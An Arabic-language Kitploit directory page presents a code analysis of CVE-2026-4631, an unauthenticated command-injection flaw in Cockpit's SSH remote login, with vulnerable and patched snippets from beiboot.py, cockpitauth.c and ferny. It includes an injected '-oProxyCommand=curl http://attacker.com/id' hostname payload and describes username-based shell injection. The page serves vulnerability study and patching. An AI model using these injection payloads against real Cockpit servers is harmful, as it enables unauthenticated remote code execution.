Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-4631-cockpit-RCE — كوكبيت: تنفيذ أوامر عن بُعد دون مصادقة عبر حقن وسائط سطر أوامر SSH | Kitploit
أدوات/GitHubGitHub/cyberheartmi9/cve-2026-4631-cockpit-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمر
GitHubcyberheartmi9/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

كوكبيت: تنفيذ أوامر عن بُعد دون مصادقة عبر حقن وسائط سطر أوامر SSH

عرض المستودع
14619منذ 5 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-4631 — تحليل الكود

Cockpit: تنفيذ كود عن بُعد غير مصادق عليه عبر حقن وسائط سطر أوامر SSH

الحقلالتفاصيل
معرف CVECVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
الخطورةحرجة (CVSS 9.8)
الإصدارات المتأثرةCockpit 327 – 359
تم الإصلاح فيCockpit 360
CWECWE-78: حقن أوامر نظام التشغيل
المصادقة المطلوبةلا
تم الإبلاغ بواسطةJelle van der Waa

جدول المحتويات

  1. نظرة عامة على الثغرة
  2. خلفية البنية
  3. تحليل السبب الجذري
  4. الكود القابل للاستغلال — ملف بملف
  5. نواقل الهجوم
  6. مخطط تدفق البيانات
  7. تحليل التصحيح
  8. الاكتشاف
  9. المراجع

1. نظرة عامة على الثغرة

تمرر ميزة تسجيل الدخول عن بُعد في Cockpit أسماء المضيفين التي يقدمها المستخدم (من مسار URL) وأسماء المستخدمين (من ترويسة Authorization: Basic) مباشرة إلى ثنائي OpenSSH ssh دون أي تحقق أو تنقية.

يمكن لمهاجم غير مصادق عليه مع وصول شبكي إلى المنفذ 9090 صياغة طلب HTTP واحد يقوم بـ:

  • حقن خيارات SSH عشوائية عبر حقل اسم المضيف (-oProxyCommand=<cmd>)
  • حقن أوامر shell عبر حقل اسم المستخدم مستغلاً توسيع رمز %r في SSH

كلا نقطتي الحقن تعملان قبل اكتمال التحقق من بيانات الاعتماد، مما يعني عدم الحاجة لتسجيل دخول صالح.


2. خلفية البنية

تدفق تسجيل الدخول عن بُعد العادي

Auth-flow

ما الذي تغير في الإصدار 327

قبل الإصدار 327، استخدم Cockpit ثنائي C مخصص يسمى cockpit-ssh (مبني على libssh) للاتصالات عن بُعد. بدءاً من الإصدار 327، تم استبداله بـ:

python3 -m cockpit.beiboot

الذي يستدعي عميل OpenSSH ssh الخاص بالنظام. أدخل هذا التغيير الثغرة لأن مسار الكود الجديد يمرر القيم التي يتحكم فيها المستخدم مباشرة إلى ssh دون تنقية.


3. تحليل السبب الجذري

المشكلة 1 — عدم وجود فاصل -- قبل اسم المضيف

يفسر عميل SSH الوسائط التي تبدأ بـ - كـ خيارات، وليس كاسم مضيف، ما لم يسبقها فاصل --. بدون --، يتم تحليل أي اسم مضيف يبدأ بـ - كعلم SSH.

البناء القابل للاستغلال:

ssh [options] <hostname> <remote-command>

البناء الآمن:

ssh [options] -- <hostname> <remote-command>

المشكلة 2 — عدم وجود تحقق من المدخلات

لا يقوم أي من cockpit-ws (كود C) أو cockpit.beiboot (كود Python) بالتحقق أو التنقية من:

  • اسم المضيف المستخرج من مسار URL
  • اسم المستخدم المستخرج من ترويسة Authorization: Basic

المشكلة 3 — خطأ في Python argparse (CPython #66623)

يسبب خطأ معروف في CPython سوء معالجة argparse للوسائط التي تبدأ بـ - وتحتوي أيضاً على مسافات، حيث يعاملها كمواضع وليس كأعلام. هذا يسمح لاسم مضيف مثل -oProxyCommand=evil command بالمرور عبر تحليل وسائط Python والوصول إلى ssh كخيار.


4. الكود القابل للاستغلال — ملف بملف

4.1 src/cockpit/beiboot.py — نقطة الحقن الأساسية

هذا هو الملف الأكثر حرجاً. تقوم دالة via_ssh() ببناء قائمة وسائط أمر SSH.

الكود القابل للاستغلال (قبل التصحيح)

def via_ssh(cmd: Sequence[str], dest: str, ssh_askpass: Path, *ssh_opts: str) -> Sequence[str]:
    """Build an ssh command to run `cmd` on `dest`."""

    # Parse optional port from dest (e.g. "host:2222")
    host, _, port = dest.rpartition(':')

    if port.isdigit() and host:
        # Strip IPv6 brackets
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  VULNERABLE: No '--' before host
        # If host = "-oProxyCommand=evil", ssh treats it as an option
        destination = ['-p', port, host]

    else:
        #  VULNERABLE: Raw attacker input passed directly to ssh
        destination = [dest]

    return (
        'ssh', *ssh_opts, *destination, shlex.join(cmd)
    )

كيف يبدو استدعاء SSH الناتج

مع dest = "-oProxyCommand=curl http://attacker.com/id":

arg0: ssh
arg1: -oNumberOfPasswordPrompts=1      ← خيار cockpit
arg2: -oProxyCommand=curl http://...   ←  يُحلل كخيار SSH (وليس مضيفاً)
arg3: python3 -ic '# cockpit-bridge'   ← يصبح "اسم المضيف" → يطلق ProxyCommand

الكود المُصلح (الإصدار 360)

    if port.isdigit() and host:
        if host.startswith('[') and host.endswith(']'):
            host = host[1:-1]

        #  FIXED: '--' forces everything after it to be positional
        destination = ['-p', port, '--', host]

    else:
        #  FIXED: '--' separator added
        destination = ['--', dest]

4.2 src/ws/cockpitauth.c — طبقة C: استخراج اسم المضيف

يتعامل هذا الملف C مع تحليل طلب HTTP الأولي ويطلق عملية beiboot.

استخراج اسم المضيف من URL (بدون تحقق)

static const gchar *
application_parse_host(const gchar *application)
{
    const gchar *prefix = "cockpit+=";
    gint len = strlen(prefix);

    g_return_val_if_fail(application != NULL, NULL);

    // Extracts everything after "cockpit+=" from the URL path
    //  No character validation — dashes, special chars allowed
    if (g_str_has_prefix(application, prefix) && application[len] != '\0')
        return application + len;
    else
        return NULL;
}

يتم تمرير اسم المضيف المُعاد مباشرة كوسيطة عند إطلاق beiboot:

// cockpit_ws_ssh_program is the spawn command template
//  VULNERABLE: hostname appended with no sanitization
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported";
//                                                                      ^
//                        No trailing '--' means hostname can be parsed
//                        as a flag by Python's argparse (CPython #66623)

مُصلح في الإصدار 360

//  FIXED: trailing '--' ensures hostname is always positional
const gchar *cockpit_ws_ssh_program =
    "/usr/bin/env python3 -m cockpit.beiboot --remote-bridge=supported --";

استخراج اسم المستخدم من ترويسة Authorization (بدون تحقق)

static CockpitCreds *
build_session_credentials(CockpitAuth *self,
                           CockpitWebRequest *request,
                           const char *application,
                           const char *host,
                           const char *type,
                           const char *authorization)
{
    char *user = NULL;
    char *raw  = NULL;

    if (g_strcmp0(type, "basic") == 0) {
        // Decodes Authorization: Basic base64(user:password)
        //  No validation of 'user' — semicolons, special chars allowed
        raw = cockpit_authorize_parse_basic(authorization, &user);
    }

    // 'user' is passed into credentials and eventually to 'ssh -l <user>'
    creds = cockpit_creds_new(application,
                              COCKPIT_CRED_USER, user,   //  unsanitized
                              ...);
}

4.3 vendor/ferny/src/ferny/session.py — نقطة الحقن الثالثة

مكتبة ferny المرفقة (المستخدمة للتفاعل مع SSH) لديها نفس إغفال -- في استدعاء العملية الفرعية.

الكود القابل للاستغلال (قبل التصحيح)

async def connect(self, ...):
    ...
    # SSH_ASKPASS_REQUIRE is not generally available, so use setsid
    process = await asyncio.create_subprocess_exec(
        #  VULNERABLE: hardcoded path + no '--' before destination
        *('/usr/bin/ssh', *args, destination),
        env=env,
        start_new_session=True,
        stdin=asyncio.subprocess.DEVNULL,
        stdout=asyncio.subprocess.DEVNULL,
        stderr=agent,
        preexec_fn=lambda: prctl(PR_SET_PDEATHSIG, signal.SIGKILL)
    )

الكود المُصلح (الإصدار 360)

تنزيل الأداة